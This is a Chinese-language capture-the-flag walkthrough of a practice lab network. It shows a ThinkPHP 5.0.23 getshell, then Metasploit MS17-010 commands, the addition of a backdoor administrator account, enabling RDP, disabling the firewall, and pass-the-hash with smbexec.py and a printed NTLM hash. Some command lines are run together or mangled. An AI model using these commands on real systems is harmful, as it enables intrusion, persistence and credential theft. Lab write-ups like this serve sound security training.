cyberstrikelab通关记录-lab1

信息收集

先来看看fscan的扫描记录

发现有thinkphp。

thinkphp 5.0.23

直接getshell。拿到一个flag

内网渗透

上传fscan扫扫内网，还有代理。

可以看到内网有一个cms，还有一个ms17010，咱们把代理搭起来看看

ms17_010

拿msf打一下试试

proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21 exploit

拿不到shell，那就换一个打法，去执行命令试试

use admin/smb/ms17_010_commandset rhosts 192.168.20.30set command type c:\flag.txt

可以直接获取flag。给他开个3389然后连接上去dump下hash,在这之前先添加个后门用户

set command net user ocean admin@123 /addset COMMAND net localgroup Administrators ocean /addset COMMAND 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'set COMMAND netsh firewall set opmode disable

这里我登录不上不知道为什么，后来查资料和看别的博客才知道，登录域控要在用户名前加上.

也算是登录上了，抓一下hash，打个pth直接就完事了，但是没有抓到域管的hash，。所以需要提权去拿hash

proxychains4 python3 smbexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/[email protected] 

拿到shell直接读取flag即可
